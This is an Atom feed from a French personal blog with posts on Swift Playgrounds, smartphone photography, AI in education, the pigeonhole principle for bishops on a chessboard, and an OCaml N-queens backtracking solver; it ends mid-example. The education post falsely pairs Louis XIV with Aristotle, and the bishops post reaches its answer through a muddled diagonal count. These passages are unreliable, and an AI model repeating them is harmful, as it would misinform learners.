<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://blog.keanyvykhun.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.keanyvykhun.com/" rel="alternate" type="text/html" hreflang="fr" /><updated>2026-05-22T11:13:42+00:00</updated><id>https://blog.keanyvykhun.com/feed.xml</id><title type="html">Keany Vy Khun’s Tech Journal</title><subtitle>Sur ce blog je partage mes notes concernant mes recherches, mes projets et mon quotidien.</subtitle><author><name>Keany Vy Khun</name></author><entry><title type="html">Swift Playgrounds ou développer une pensée logique</title><link href="https://blog.keanyvykhun.com/conference/2024/11/11/swift-playgrounds-ou-d%C3%A9velopper-une-pens%C3%A9e-logique.html" rel="alternate" type="text/html" title="Swift Playgrounds ou développer une pensée logique" /><published>2024-11-11T00:00:00+00:00</published><updated>2024-11-11T00:00:00+00:00</updated><id>https://blog.keanyvykhun.com/conference/2024/11/11/swift-playgrounds-ou-d%C3%A9velopper-une-pens%C3%A9e-logique</id><content type="html" xml:base="https://blog.keanyvykhun.com/conference/2024/11/11/swift-playgrounds-ou-d%C3%A9velopper-une-pens%C3%A9e-logique.html"><![CDATA[<p>Il y a des souvenirs qui marquent, des premières fois qui changent notre façon de voir le monde. Pour moi, la découverte de <strong>Swift Playgrounds</strong> fait partie de ces moments. Je me souviens encore de ce matin lumineux où, tablette en main, j’ai ouvert l’application pour la première fois, sans vraiment savoir ce qui m’attendait.</p>

<h2 id="un-terrain-de-jeu-numérique">Un terrain de jeu numérique</h2>

<p>Swift Playgrounds, c’est un peu comme un terrain de jeu numérique où l’on apprend à coder sans s’en rendre compte. Loin des manuels austères ou des lignes de code intimidantes, ici tout est coloré, interactif, vivant. On guide un petit personnage à travers des labyrinthes, on résout des énigmes, on fait apparaître des portails ou déclencher des mécanismes… et, sans même s’en apercevoir, on pose les bases de la pensée algorithmique.</p>

<p>Ce n’est pas seulement une application : c’est une invitation à explorer, à se tromper, à recommencer, à comprendre.</p>

<h2 id="le-premier-déclic-comprendre-la-logique">Le premier déclic : comprendre la logique</h2>

<p>Je me souviens de la première énigme : il fallait faire avancer un personnage sur un damier pour atteindre un joyau. J’ai écrit quelques instructions, lancé le programme… et le personnage est parti dans la mauvaise direction.<br />
Plutôt que de me décourager, j’ai ressenti une envie irrésistible de comprendre : pourquoi ? Où avais-je fait une erreur ?<br />
C’est là que j’ai compris : coder, ce n’est pas juste écrire des instructions, c’est apprendre à raisonner, à anticiper, à décomposer un problème en étapes simples.</p>

<h2 id="lapprentissage-par-lerreur-un-atout-inestimable">L’apprentissage par l’erreur : un atout inestimable</h2>

<p>Swift Playgrounds valorise l’essai, l’erreur, la correction. On teste, on observe, on ajuste. Chaque échec est une occasion d’apprendre, chaque réussite une petite victoire personnelle.<br />
Ce processus, si naturel dans le jeu, est au cœur de la pensée logique : analyser, déduire, corriger, recommencer.</p>

<h2 id="la-magie-du-feedback-immédiat">La magie du feedback immédiat</h2>

<p>Ce qui rend Swift Playgrounds si efficace, c’est le retour immédiat. On voit instantanément le résultat de ses instructions.<br />
Cette boucle courte entre action et réaction est un moteur puissant pour l’apprentissage : on comprend vite ce qui fonctionne et ce qui doit être amélioré.</p>

<h2 id="plus-quun-langage-une-façon-de-penser">Plus qu’un langage, une façon de penser</h2>

<p>Bien sûr, Swift Playgrounds initie au langage Swift, mais au fond, l’essentiel est ailleurs.<br />
Ce que l’on apprend, c’est à structurer sa pensée, à raisonner de façon logique, à développer des stratégies pour résoudre des problèmes.<br />
On découvre la puissance des boucles, des conditions, des fonctions : autant d’outils qui, bien au-delà du code, servent dans la vie quotidienne.</p>

<h2 id="un-outil-pour-tous-pas-seulement-pour-les-enfants">Un outil pour tous, pas seulement pour les enfants</h2>

<p>On pourrait croire que Swift Playgrounds est réservé aux plus jeunes. Il n’en est rien.<br />
J’ai vu des adultes, parfois réticents à l’idée de coder, se prendre au jeu, s’émerveiller de voir leur logique prendre vie à l’écran.<br />
C’est un outil universel, accessible, qui démystifie la programmation et révèle à chacun son potentiel créatif.</p>

<h2 id="limportance-de-la-curiosité">L’importance de la curiosité</h2>

<p>Ce que j’ai retenu de cette expérience, c’est que la curiosité est la clé. Swift Playgrounds ne donne pas toutes les réponses, il invite à chercher, à expérimenter, à inventer ses propres solutions.<br />
C’est ainsi que l’on développe une véritable pensée logique : en osant explorer, en acceptant de se tromper, en persévérant.</p>

<h2 id="conclusion-une-aventure-logique-et-ludique">Conclusion : une aventure logique et ludique</h2>

<p>Swift Playgrounds, c’est bien plus qu’une application : c’est une aventure, un voyage au cœur de la logique, une école de la persévérance et de la créativité.<br />
Que l’on soit enfant ou adulte, débutant ou curieux, chacun peut y trouver matière à s’étonner, à progresser, à s’amuser.</p>

<p><em>Et si la prochaine grande idée naissait d’un simple terrain de jeu numérique ? À vous de jouer !</em></p>]]></content><author><name>Keany Vy Khun</name></author><category term="conference" /><category term="Note personnelle" /><category term="Swift" /><summary type="html"><![CDATA[Il y a des souvenirs qui marquent, des premières fois qui changent notre façon de voir le monde. Pour moi, la découverte de Swift Playgrounds fait partie de ces moments. Je me souviens encore de ce matin lumineux où, tablette en main, j’ai ouvert l’application pour la première fois, sans vraiment savoir ce qui m’attendait.]]></summary></entry><entry><title type="html">La photographie, bien plus qu’une simple image</title><link href="https://blog.keanyvykhun.com/conf%C3%A9rence/2024/10/30/la-photographie-bien-plus-qu'une-simple-image.html" rel="alternate" type="text/html" title="La photographie, bien plus qu’une simple image" /><published>2024-10-30T00:00:00+00:00</published><updated>2024-10-30T00:00:00+00:00</updated><id>https://blog.keanyvykhun.com/conf%C3%A9rence/2024/10/30/la-photographie-bien-plus-qu'une-simple-image</id><content type="html" xml:base="https://blog.keanyvykhun.com/conf%C3%A9rence/2024/10/30/la-photographie-bien-plus-qu'une-simple-image.html"><![CDATA[<p>Il y a des passions qui naissent d’un coup, comme un déclic. Pour moi, la photographie était longtemps restée un mystère, un art réservé à ceux qui possèdent de gros appareils et des objectifs impressionnants. Jusqu’au jour où, par un heureux hasard, je me suis retrouvé à une conférence Apple sur les Champs-Élysées, dédiée à la photographie. Ce jour-là, sans le savoir, j’allais ouvrir la porte d’un univers fascinant, codifié, mais surtout accessible à tous.</p>

<h2 id="un-rendez-vous-inattendu">Un rendez-vous inattendu</h2>

<p>Je me souviens encore de cette matinée. Paris s’éveillait doucement, les rayons du soleil glissaient sur les vitrines de l’avenue la plus célèbre du monde. En flânant, j’aperçois une affiche : “Atelier Photo – Apple Champs-Élysées”. Intrigué, je pousse la porte. À l’intérieur, une petite foule, des sourires, des téléphones à la main. Pas d’appareils photo hors de prix, juste des gens curieux, comme moi.</p>

<p>L’animateur, un photographe passionné, commence : “La photo parfaite n’exige pas de matériel coûteux. Ce qui compte, c’est l’œil, la technique, et un peu de magie.”<br />
Je tends l’oreille. Je ne le sais pas encore, mais je vais repartir avec une nouvelle façon de regarder le monde.</p>

<h2 id="la-technique-avant-le-matériel">La technique avant le matériel</h2>

<p>Le premier conseil me surprend : activez la grille sur votre téléphone. “Pourquoi ?” demande une participante.<br />
“Parce que la composition, c’est la clé”, répond l’animateur.<br />
Il nous montre comment la grille, discrète mais puissante, aide à structurer l’image, à équilibrer les éléments, à donner du sens à une scène ordinaire.</p>

<p><img src="../../../../../assets/img/16.png" alt="Outil grille de l'iPhone" style="height: 300px;" /></p>

<p>Je réalise alors que les photographes professionnels n’ont pas un don magique : ils s’appuient sur des règles, des astuces, des habitudes. Avec de la pratique, ils n’ont même plus besoin de la grille : elle s’imprime dans leur esprit, comme une seconde nature.</p>

<p>Ce qui me frappe, c’est la simplicité de l’approche. Pas besoin d’investir dans du matériel onéreux. Mon smartphone, que je croyais limité, devient un véritable outil de création.</p>

<h2 id="la-règle-des-tiers--lart-de-raconter-autrement">La règle des tiers : l’art de raconter autrement</h2>

<p>L’atelier se poursuit avec la fameuse règle des tiers. Sur l’écran, une photo s’affiche, traversée par deux lignes horizontales et deux verticales.<br />
“Placez votre sujet sur une de ces lignes, ou mieux, à l’intersection. Vous verrez, la magie opère.”</p>

<p><img src="../../../../../assets/img/1.jpg" alt="Règle des tiers sur un sujet" style="height: 200px;" /></p>

<p>Je teste. Je cadre un arbre, non plus au centre, mais légèrement décalé. Soudain, la photo prend vie. Le regard circule, l’image respire.<br />
La règle des tiers, c’est un peu comme raconter une histoire : on laisse de la place à l’imagination, on invite le spectateur à explorer.</p>

<p><img src="../../../../../assets/img/2.jpg" alt="Règle des tiers sur un paysage" style="height: 500px;" /></p>

<p>Et puis il y a les variantes : pour un paysage, deux tiers de terre, un tiers de ciel, ou l’inverse.<br />
Chaque composition devient une invitation au voyage.</p>

<h2 id="la-lumière--peindre-avec-le-soleil">La lumière : peindre avec le soleil</h2>

<p>Le photographe nous confie un secret : “La lumière, c’est la palette du photographe.”<br />
Il nous parle de l’heure dorée, ce moment magique juste avant le lever ou le coucher du soleil. Les couleurs se réchauffent, les ombres s’allongent, tout devient plus doux, plus poétique.</p>

<p><img src="../../../../../assets/img/1.svg" alt="Heure dorée et bleue" style="height: 400px;" /></p>

<p>Je me souviens alors de ces soirs d’été, où la ville s’embrase d’or et de rose. Je comprends pourquoi les plus belles photos de paysages ou de portraits sont souvent prises à ce moment-là.</p>

<p>Mais il y a aussi l’heure bleue, ce court instant après le coucher du soleil ou avant son lever. Le ciel se teinte de bleu profond, la ville s’illumine doucement. L’ambiance devient mystérieuse, presque féérique.<br />
C’est le moment parfait pour les photos urbaines, les scènes nocturnes, les reflets sur l’eau.</p>

<h2 id="limportance-de-linstant-et-de-lémotion">L’importance de l’instant et de l’émotion</h2>

<p>Ce que j’ai appris ce jour-là, c’est que la photographie ne se limite pas à des règles.<br />
C’est aussi une question d’émotion, de regard, de spontanéité.<br />
Parfois, il faut savoir oublier la technique, se laisser surprendre, capturer un sourire, un geste, une lumière inattendue.</p>

<p>J’ai compris que chaque photo raconte une histoire.<br />
Celle du photographe, bien sûr, mais aussi celle du moment, de l’endroit, des personnes présentes.</p>

<h2 id="oser-expérimenter-samuser">Oser, expérimenter, s’amuser</h2>

<p>Depuis cette conférence, je n’ai plus jamais regardé mon téléphone de la même manière.<br />
Je me suis mis à photographier tout ce qui m’entoure : une tasse de café, une rue mouillée, un rayon de soleil sur un banc.</p>

<p>J’essaie, je rate, je recommence.<br />
Je joue avec les angles, les cadrages, la lumière.<br />
Je découvre que la créativité naît de l’expérimentation, que les plus belles images sont souvent celles qu’on n’attendait pas.</p>

<h2 id="conseils-pour-débuter-et-progresser">Conseils pour débuter (et progresser)</h2>

<ul>
  <li><strong>Activez la grille</strong> sur votre appareil pour composer facilement vos images.</li>
  <li><strong>Expérimentez la règle des tiers</strong>, mais n’ayez pas peur de la transgresser pour créer votre style.</li>
  <li><strong>Profitez de la lumière naturelle</strong>, surtout à l’heure dorée et à l’heure bleue.</li>
  <li><strong>Soyez attentif à l’arrière-plan</strong> : il peut sublimer ou gâcher votre sujet.</li>
  <li><strong>Photographiez ce qui vous touche</strong> : une photo réussie, c’est avant tout une émotion partagée.</li>
  <li><strong>Regardez beaucoup de photos</strong> : inspirez-vous des autres, analysez ce qui vous plaît, essayez de comprendre pourquoi.</li>
  <li><strong>Pratiquez, encore et encore</strong> : la technique s’apprend, l’œil s’aiguise avec le temps.</li>
</ul>

<h2 id="conclusion--la-photographie-un-art-à-la-portée-de-tous">Conclusion : la photographie, un art à la portée de tous</h2>

<p>Ce que je retiens de cette aventure, c’est que la photographie est un langage universel.<br />
Pas besoin d’être un expert ou d’avoir du matériel hors de prix.<br />
Ce qui compte, c’est la curiosité, l’envie de raconter, le plaisir de capturer l’instant.</p>

<p>Alors, la prochaine fois que vous prendrez une photo, souvenez-vous : vous n’êtes pas juste en train d’appuyer sur un bouton.<br />
Vous écrivez une histoire, vous partagez un regard, vous créez un souvenir.</p>

<p>À vous de jouer. Le monde n’attend que votre vision.</p>

<p><em>Et vous, quelle sera votre prochaine photo ?</em></p>]]></content><author><name>Keany Vy Khun</name></author><category term="conférence" /><category term="Note personnelle" /><category term="Photographie" /><summary type="html"><![CDATA[Il y a des passions qui naissent d’un coup, comme un déclic. Pour moi, la photographie était longtemps restée un mystère, un art réservé à ceux qui possèdent de gros appareils et des objectifs impressionnants. Jusqu’au jour où, par un heureux hasard, je me suis retrouvé à une conférence Apple sur les Champs-Élysées, dédiée à la photographie. Ce jour-là, sans le savoir, j’allais ouvrir la porte d’un univers fascinant, codifié, mais surtout accessible à tous.]]></summary></entry><entry><title type="html">Quelques pensées personnelles sur l’IA et l’éducation</title><link href="https://blog.keanyvykhun.com/note/2024/10/24/note-zero.html" rel="alternate" type="text/html" title="Quelques pensées personnelles sur l’IA et l’éducation" /><published>2024-10-24T00:00:00+00:00</published><updated>2024-10-24T00:00:00+00:00</updated><id>https://blog.keanyvykhun.com/note/2024/10/24/note-zero</id><content type="html" xml:base="https://blog.keanyvykhun.com/note/2024/10/24/note-zero.html"><![CDATA[<p>Il y a des révolutions silencieuses qui bouleversent notre rapport au monde. L’intelligence artificielle, et plus particulièrement les modèles de langage (LLM), en fait indéniablement partie. Pour comprendre l’impact de cette technologie sur l’éducation, il faut parfois remonter le fil de l’histoire et se demander : comment en sommes-nous arrivés là ?</p>

<h2 id="de-lhomme-vapeur-à-lhomme-silicium">De l’Homme vapeur à l’Homme silicium</h2>

<p>Nous avons traversé des âges : celui de la vapeur, du charbon, puis du silicium. Aujourd’hui, à l’aube du graphène, nous portons la connaissance dans nos poches, littéralement. Un smartphone, un ordinateur, et soudain, l’accès à une intelligence qui apprend, corrige, explique, sans relâche et sans jugement.</p>

<h2 id="une-rencontre-avec-lia-le-choc-du-llm">Une rencontre avec l’IA : le choc du LLM</h2>

<p>Je me souviens de la première fois où j’ai utilisé un LLM, il y a deux ans à peine. C’était un peu comme rencontrer un professeur particulier, disponible à toute heure, prêt à répondre à toutes mes questions, à corriger mes erreurs, à reformuler mes idées.<br />
Ce n’était pas de la magie, mais cela y ressemblait.<br />
Avant cela, des IA existaient déjà, mais jamais aussi accessibles, performantes, et surtout, jamais avec une telle fluidité dans l’échange.</p>

<p>Derrière cette prouesse, une infrastructure colossale, digne des plus grands géants du web. On comprend alors pourquoi ces IA sont devenues si populaires : elles sont puissantes, gratuites, et surtout, elles parlent notre langue, sans jargon ni barrière.</p>

<h2 id="pourquoi-lia-simpose-dans-léducation">Pourquoi l’IA s’impose dans l’éducation</h2>

<p>Mais la vraie question n’est pas comment l’IA est devenue utile, mais pourquoi elle s’impose aujourd’hui dans le domaine de l’éducation. Pour y répondre, il faut revenir à l’essence même de l’apprentissage.</p>

<h3 id="apprendre-cest-se-tromper">Apprendre, c’est se tromper</h3>

<p>L’apprentissage, c’est d’abord un cycle : essai, erreur, correction, reproduction. C’est la fameuse méthode ingénieuse.<br />
Mais qui peut corriger un élève à chaque instant ? Un professeur ? Impossible. Même le plus dévoué des enseignants ne peut offrir une correction toutes les dix secondes, comme le fait un simulateur de vol pour un pilote ou un jeu vidéo pour un joueur.</p>

<p>En classe, la correction arrive souvent avec retard, parfois deux semaines après l’exercice. L’élève a déjà oublié, l’erreur s’est installée.<br />
L’IA, elle, corrige instantanément, inlassablement, sans jamais se lasser ni juger.</p>

<h3 id="la-correction-clé-de-lapprentissage">La correction, clé de l’apprentissage</h3>

<p>On croit souvent que la note est le centre de l’école. En réalité, c’est la correction qui fait progresser. La note n’est qu’un indicateur, parfois même un frein.<br />
Car qui aime être jugé ? Qui ose se tromper devant les autres ?<br />
L’IA, elle, ne juge pas. Elle explique, reformule, encourage. Elle devient ce mentor idéal, disponible pour chaque élève, sans fatigue ni impatience.</p>

<h2 id="lécole-entre-tradition-et-innovation">L’école, entre tradition et innovation</h2>

<p>L’école a longtemps été pensée comme l’antichambre de la caserne, selon Jules Ferry. Un lieu de discipline, de transmission, parfois d’uniformisation. Mais n’oublions pas la bottega de Léonard de Vinci, ce lieu d’innovation, de mentorat, où l’on apprenait en faisant, en essayant, en se trompant.</p>

<p>Platon, sous le regard bienveillant de Socrate, n’a jamais reçu de note. Il apprenait par le dialogue, la correction, l’émulation.<br />
Louis XIV avait Aristote, François 1er avait Léonard de Vinci : à ce niveau, pas de note, pas de classement, mais une éducation sur-mesure, fondée sur la confiance et la correction.</p>

<h2 id="la-note-outil-ou-obstacle">La note : outil ou obstacle ?</h2>

<p>La note, c’est un peu comme une évaluation sur Internet : utile pour choisir un taxi ou un médecin, mais parfois réductrice pour juger un apprentissage.<br />
Un diplôme, finalement, n’est qu’une note officielle, une garantie de compétence. Mais la note peut décourager.<br />
Celui qui enchaîne les mauvaises notes finit par fuir la correction, par peur de l’échec. Celui qui reçoit de bonnes notes y prend goût, entre dans un cercle vertueux.</p>

<p>Mais l’apprentissage véritable, celui qui dure, ne se nourrit pas de la note, mais de la correction, de l’envie de progresser, de l’absence de jugement.</p>

<h2 id="lia-mentor-sans-jugement">L’IA, mentor sans jugement</h2>

<p>C’est là que l’IA change la donne.<br />
Elle offre à chacun la possibilité d’être corrigé, encore et encore, sans jamais se lasser ni juger.<br />
Elle casse la structure académique, elle met fin à l’Homo academicus pour ouvrir la voie à l’Homo innovator, celui qui ose, qui expérimente, qui apprend pour le plaisir d’apprendre.</p>

<p>L’IA, c’est le mentorat de masse, accessible à tous, sans hiérarchie, sans barrière.<br />
Elle permet d’innover, d’essayer, d’échouer, de recommencer, sans crainte du regard des autres.</p>

<h2 id="la-culture-la-structure-et-lavenir">La culture, la structure… et l’avenir</h2>

<p>Peter Drucker disait : “La culture mange la stratégie au petit déjeuner.”<br />
Mais la structure finit toujours par façonner la culture.<br />
L’IA, en bouleversant la structure académique, ouvre la voie à une nouvelle culture de l’apprentissage : libre, personnalisée, décomplexée.</p>

<p>Nous sommes devenus des “céphalophores”, pour reprendre Michel Serres : nous portons notre tête, notre savoir, dans nos mains, dans nos poches.<br />
Jamais l’accès à la connaissance n’a été aussi simple, aussi immédiat, aussi universel.</p>

<h2 id="et-maintenant">Et maintenant ?</h2>

<p>L’IA ne remplacera jamais la passion d’un enseignant, la chaleur d’une salle de classe, l’émulation d’un groupe.<br />
Mais elle offre à chacun la possibilité de progresser à son rythme, de se tromper sans crainte, d’apprendre sans jugement.</p>

<p>L’avenir de l’éducation ne sera pas sans l’IA.<br />
Il sera fait de dialogues, d’essais, d’erreurs, de corrections, de mentorat… et peut-être, enfin, d’un apprentissage libéré de la peur de la note.</p>

<p><em>Nous vivons une époque fascinante. À nous de l’inventer, de la questionner, de l’apprivoiser. Et surtout, de ne jamais cesser d’apprendre.</em></p>]]></content><author><name>Keany Vy Khun</name></author><category term="note" /><category term="Note personnelle" /><category term="Intelligence artificielle" /><summary type="html"><![CDATA[Il y a des révolutions silencieuses qui bouleversent notre rapport au monde. L’intelligence artificielle, et plus particulièrement les modèles de langage (LLM), en fait indéniablement partie. Pour comprendre l’impact de cette technologie sur l’éducation, il faut parfois remonter le fil de l’histoire et se demander : comment en sommes-nous arrivés là ?]]></summary></entry><entry><title type="html">La magie du raisonnement par l’absurde</title><link href="https://blog.keanyvykhun.com/principe/maths/2024/07/02/le-principe-des-tiroirs.html" rel="alternate" type="text/html" title="La magie du raisonnement par l’absurde" /><published>2024-07-02T00:00:00+00:00</published><updated>2024-07-02T00:00:00+00:00</updated><id>https://blog.keanyvykhun.com/principe/maths/2024/07/02/le-principe-des-tiroirs</id><content type="html" xml:base="https://blog.keanyvykhun.com/principe/maths/2024/07/02/le-principe-des-tiroirs.html"><![CDATA[<p>Il existe en mathématiques des principes aussi simples qu’efficaces, capables de résoudre des problèmes apparemment complexes en un clin d’œil. Le <strong>principe des tiroirs</strong> (ou principe de Dirichlet), énoncé par Johann Peter Gustav Lejeune Dirichlet, en est un parfait exemple. Derrière son nom imagé se cache une idée d’une puissance redoutable, qui a traversé les siècles et s’applique à des domaines aussi variés que la combinatoire, la théorie des nombres… ou même les jeux d’échecs !</p>

<h2 id="lintuition-derrière-le-principe">L’intuition derrière le principe</h2>

<p>Imaginez : vous avez <em>n</em> t-shirts à ranger dans <em>m</em> tiroirs. Si le nombre de t-shirts (<em>n</em>) est strictement supérieur au nombre de tiroirs (<em>m</em>), alors il est inévitable qu’au moins un tiroir contienne au moins deux t-shirts.<br />
C’est tout ! Aussi simple que cela puisse paraître, ce raisonnement ouvre la porte à des démonstrations élégantes et parfois surprenantes.</p>

<p><img src="../../../../../assets/img/13.png" alt="10 tiroirs" /></p>

<h2 id="un-outil-pour-résoudre-des-problèmes-et-des-casse-têtes">Un outil pour résoudre des problèmes… et des casse-têtes</h2>

<p>Le principe des tiroirs n’est pas qu’une curiosité mathématique : il permet de résoudre des problèmes concrets, comme le <a href="https://blog.keanyvykhun.com/caml/exercice/2024/03/05/caml-probleme-n-reines">problème des N-reines</a> ou son cousin, le problème des N-fous.</p>

<p>Imaginons que l’on souhaite placer le plus grand nombre possible de fous sur un échiquier sans qu’aucun ne soit en prise d’un autre. Chaque fou attaque toutes les cases sur ses deux diagonales : il faut donc éviter de placer deux fous sur la même diagonale.</p>

<p><img src="../../../../../assets/img/14.png" alt="Principe du problème des n-fous" style="height: 300px;" /></p>

<p>Pour visualiser le principe des tiroirs, on peut colorier les diagonales : chaque couleur représente un tiroir, chaque fou un t-shirt. Si l’on essaie de placer plus de fous que de couleurs différentes, on est certain que deux fous partageront la même couleur… donc la même diagonale, et seront en prise.</p>

<p><img src="../../../../../assets/img/15.png" alt="Résolution du problème des n-fous" style="height: 300px;" /></p>

<h2 id="application-concrète-le-cas-des-n-fous">Application concrète : le cas des N-fous</h2>

<p>Sur un échiquier 8×8, il existe 14 diagonales principales (7 dans chaque direction, sans compter les bords). Le principe des tiroirs nous dit donc qu’il est impossible de placer plus de 14 fous sans qu’au moins deux ne partagent une diagonale.<br />
En d’autres termes, <strong>14 est le maximum de fous que l’on peut placer sans prise sur un échiquier standard</strong>.</p>

<p>La représentation par couleurs schématise ce principe : chaque couleur = un tiroir, chaque fou = un t-shirt.</p>

<h2 id="le-principe-des-tiroirs-un-raisonnement-universel">Le principe des tiroirs, un raisonnement universel</h2>

<p>Ce principe, aussi intuitif soit-il, est un pilier de la pensée mathématique. On le retrouve dans des démonstrations célèbres, des énigmes, et même dans la vie quotidienne :</p>
<ul>
  <li>Si 13 personnes sont réunies, au moins deux d’entre elles sont nées le même mois.</li>
  <li>Si vous distribuez 10 pommes dans 9 paniers, au moins un panier contiendra deux pommes.</li>
  <li>Si vous avez plus de 365 personnes dans une pièce, au moins deux partagent le même anniversaire (en négligeant les années bissextiles).</li>
</ul>

<h2 id="pour-aller-plus-loin">Pour aller plus loin</h2>

<p>Le principe des tiroirs est souvent le point de départ de raisonnements par l’absurde : on suppose qu’aucun tiroir n’a plus d’un objet, et on arrive à une contradiction.<br />
C’est un outil précieux, à la fois simple, intuitif et redoutablement efficace.</p>

<blockquote>
  <p><strong>Astuce</strong> : Essayez d’appliquer le principe des tiroirs à d’autres situations de la vie courante ou à des problèmes de logique. Vous serez surpris de sa puissance !</p>
</blockquote>

<p><em>La beauté des mathématiques, c’est que parfois, une idée toute simple peut ouvrir la voie à des solutions élégantes et universelles…</em></p>]]></content><author><name>Keany Vy Khun</name></author><category term="principe" /><category term="maths" /><category term="mathématiques" /><summary type="html"><![CDATA[Il existe en mathématiques des principes aussi simples qu’efficaces, capables de résoudre des problèmes apparemment complexes en un clin d’œil. Le principe des tiroirs (ou principe de Dirichlet), énoncé par Johann Peter Gustav Lejeune Dirichlet, en est un parfait exemple. Derrière son nom imagé se cache une idée d’une puissance redoutable, qui a traversé les siècles et s’applique à des domaines aussi variés que la combinatoire, la théorie des nombres… ou même les jeux d’échecs !]]></summary></entry><entry><title type="html">Élégance, logique et backtracking</title><link href="https://blog.keanyvykhun.com/caml/exercice/2024/03/05/caml-probleme-n-reines.html" rel="alternate" type="text/html" title="Élégance, logique et backtracking" /><published>2024-03-05T00:00:00+00:00</published><updated>2024-03-05T00:00:00+00:00</updated><id>https://blog.keanyvykhun.com/caml/exercice/2024/03/05/caml-probleme-n-reines</id><content type="html" xml:base="https://blog.keanyvykhun.com/caml/exercice/2024/03/05/caml-probleme-n-reines.html"><![CDATA[<p>Il existe des casse-têtes qui traversent les siècles et fascinent autant les mathématiciens que les amateurs de jeux de réflexion. Le problème des N-reines en fait partie. Derrière sa simplicité apparente se cache un défi algorithmique redoutable, qui met à l’épreuve la logique, la patience et la créativité.</p>

<h2 id="le-défi--placer-sans-prise">Le défi : placer sans prise</h2>

<p>Le principe est simple à énoncer, mais redoutable à résoudre pour de grandes valeurs de N :<br />
<strong>Placer N reines sur un échiquier de taille N×N de sorte qu’aucune reine ne puisse en attaquer une autre.</strong></p>

<p><img src="../../../../../assets/img/12.png" alt="Solution au problème des N-reines" style="height: 300px;" /></p>

<p>Rappelons-le : une reine attaque toutes les cases de sa ligne, de sa colonne, et de ses deux diagonales. Il faut donc veiller à ce qu’aucune ne partage la même ligne, la même colonne, ou la même diagonale qu’une autre.</p>

<h2 id="une-approche-intelligente--le-backtracking">Une approche intelligente : le backtracking</h2>

<p>Pour relever ce défi, les informaticiens utilisent le <strong>backtracking</strong> (ou retour arrière), une méthode qui consiste à explorer toutes les possibilités, mais en revenant en arrière dès qu’une configuration mène à une impasse.</p>

<blockquote>
  <p><a href="https://datascientest.com/backtracking-tout-savoir">En savoir plus sur le backtracking</a></p>
</blockquote>

<p>On place une reine sur la première ligne, puis on essaie d’en placer une sur la deuxième ligne, et ainsi de suite. Si l’on se retrouve bloqué, on revient en arrière pour essayer une autre position.</p>

<h2 id="astuce--une-reine-par-ligne-et-par-colonne">Astuce : une reine par ligne et par colonne</h2>

<p>On remarque vite qu’il suffit de placer une seule reine par ligne et par colonne. On peut donc représenter une solution comme une permutation des colonnes, ce qui réduit considérablement le nombre de cas à tester.</p>

<h2 id="implémentation-en-ocaml">Implémentation en OCaml</h2>

<p>Voici une version simple du backtracking pour résoudre le problème des N-reines en OCaml :</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">is_safe</span> <span class="n">pos</span> <span class="n">solution</span> <span class="o">=</span>
<span class="k">let</span> <span class="k">rec</span> <span class="n">aux</span> <span class="n">i</span> <span class="o">=</span> <span class="k">function</span>
<span class="o">|</span> <span class="bp">[]</span> <span class="o">-&gt;</span> <span class="bp">true</span>
<span class="o">|</span> <span class="n">col</span> <span class="o">::</span> <span class="n">rest</span> <span class="o">-&gt;</span>
<span class="k">if</span> <span class="n">col</span> <span class="o">=</span> <span class="n">pos</span> <span class="o">||</span> <span class="n">abs</span> <span class="p">(</span><span class="n">col</span> <span class="o">-</span> <span class="n">pos</span><span class="p">)</span> <span class="o">=</span> <span class="n">i</span> <span class="k">then</span> <span class="bp">false</span>
<span class="k">else</span> <span class="n">aux</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="n">rest</span>
<span class="k">in</span> <span class="n">aux</span> <span class="mi">1</span> <span class="n">solution</span>

<span class="k">let</span> <span class="k">rec</span> <span class="n">n_queens</span> <span class="n">n</span> <span class="n">solution</span> <span class="o">=</span>
<span class="k">if</span> <span class="nn">List</span><span class="p">.</span><span class="n">length</span> <span class="n">solution</span> <span class="o">=</span> <span class="n">n</span> <span class="k">then</span> <span class="p">[</span><span class="nn">List</span><span class="p">.</span><span class="n">rev</span> <span class="n">solution</span><span class="p">]</span>
<span class="k">else</span>
<span class="k">let</span> <span class="k">rec</span> <span class="n">try_cols</span> <span class="n">col</span> <span class="n">acc</span> <span class="o">=</span>
<span class="k">if</span> <span class="n">col</span> <span class="o">&gt;</span> <span class="n">n</span> <span class="k">then</span> <span class="n">acc</span>
<span class="k">else</span>
<span class="k">if</span> <span class="n">is_safe</span> <span class="n">col</span> <span class="n">solution</span> <span class="k">then</span>
<span class="k">let</span> <span class="n">new_solutions</span> <span class="o">=</span> <span class="n">n_queens</span> <span class="n">n</span> <span class="p">(</span><span class="n">col</span> <span class="o">::</span> <span class="n">solution</span><span class="p">)</span> <span class="k">in</span>
<span class="n">try_cols</span> <span class="p">(</span><span class="n">col</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">(</span><span class="n">new_solutions</span> <span class="o">@</span> <span class="n">acc</span><span class="p">)</span>
<span class="k">else</span>
<span class="n">try_cols</span> <span class="p">(</span><span class="n">col</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="n">acc</span>
<span class="k">in</span>
<span class="n">try_cols</span> <span class="mi">1</span> <span class="bp">[]</span>
</code></pre></div></div>

<p><strong>Signature du programme :</strong></p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">val</span> <span class="n">n_queens</span> <span class="o">:</span> <span class="kt">int</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="kt">list</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="kt">list</span> <span class="kt">list</span> <span class="o">=</span> <span class="o">&lt;</span><span class="k">fun</span><span class="o">&gt;</span>
</code></pre></div></div>

<ul>
  <li><code class="language-plaintext highlighter-rouge">n_queens n []</code> renvoie la liste de toutes les solutions pour un échiquier de taille n×n.</li>
  <li>Chaque solution est une liste d’entiers représentant les colonnes où sont placées les reines pour chaque ligne.</li>
</ul>

<h2 id="exemple-dutilisation">Exemple d’utilisation</h2>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">n_queens</span> <span class="mi">4</span> <span class="bp">[]</span><span class="p">;;</span>
